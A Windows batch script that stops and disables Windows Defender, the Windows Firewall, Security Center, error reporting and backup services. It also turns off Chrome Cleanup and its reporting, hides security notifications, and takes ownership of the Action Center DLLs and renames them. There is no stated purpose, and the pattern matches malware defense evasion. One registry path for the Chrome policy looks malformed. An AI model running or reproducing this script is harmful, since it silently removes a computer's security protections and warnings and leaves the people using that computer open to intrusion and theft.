@echo off

REG add "HKLM\SYSTEM\CurrentControlSet\services\Spooler" /v Start /t REG_DWORD /d 2 /f
REG add "HKLM\SYSTEM\CurrentControlSet\services\WSearch" /v Start /t REG_DWORD /d 2 /f
REG add "HKLM\SYSTEM\SOFTWARE\Policies\Google\Chrome" /v ChromeCleanupEnabled /t REG_DWORD /d 0 /f
REG add "HKLM\SYSTEM\SOFTWARE\Policies\Google\Chrome" /v ChromeCleanupReportingEnabled /t REG_DWORD /d 0 /f
REG add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
REG add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideSCAHealth /t REG_DWORD /d 1 /f

net stop Wuauserv
sc config Wuauserv start= demand error= ignore

net stop MpsSvc
sc config MpsSvc start= disabled error= ignore

net stop wscsvc
sc config wscsvc start= disabled error= ignore

net stop WinDefend
sc config WinDefend start= disabled  error= ignore 

net stop defragsvc
sc config defragsvc start= auto  error= ignore 

net stop SDRSVC
sc config SDRSVC start= disabled  error= ignore 

net stop PcaSvc
sc config PcaSvc start= disabled  error= ignore

net stop NAUpdate
sc config NAUpdate start= disabled  error= ignore 

net stop SENS
sc config SENS start= auto  error= ignore 

net stop Wersvc
sc config Wersvc start= disabled  error= ignore 

REM *** Take ownership of ActionCenter.dll and rename it ***
TAKEOWN /f "%windir%\system32\ActionCenter.dll"
ICACLS "%windir%\system32\ActionCenter.dll" /grant:r %username%:F
RENAME "%windir%\system32\ActionCenter.dll" ActionCenter.bak

REM *** Take ownership of ActionCenterCPL.dll and rename it ***
TAKEOWN /f "%windir%\system32\ActionCenterCPL.dll"
ICACLS "%windir%\system32\ActionCenterCPL.dll" /grant:r %username%:F
RENAME "%windir%\system32\ActionCenterCPL.dll" ActionCenterCPL.bak

REM *** Take ownership of ActionCenter.dll and rename it ***
TAKEOWN /f "%windir%\SYSWOW64\ActionCenter.dll"
ICACLS "%windir%\SYSWOW64\ActionCenter.dll" /grant:r %username%:F
RENAME "%windir%\SYSWOW64\ActionCenter.dll" ActionCenter.bak

REM *** Take ownership of ActionCenterCPL.dll and rename it ***
TAKEOWN /f "%windir%\SYSWOW64\ActionCenterCPL.dll"
ICACLS "%windir%\SYSWOW64\ActionCenterCPL.dll" /grant:r %username%:F
RENAME "%windir%\SYSWOW64\ActionCenterCPL.dll" ActionCenterCPL.bak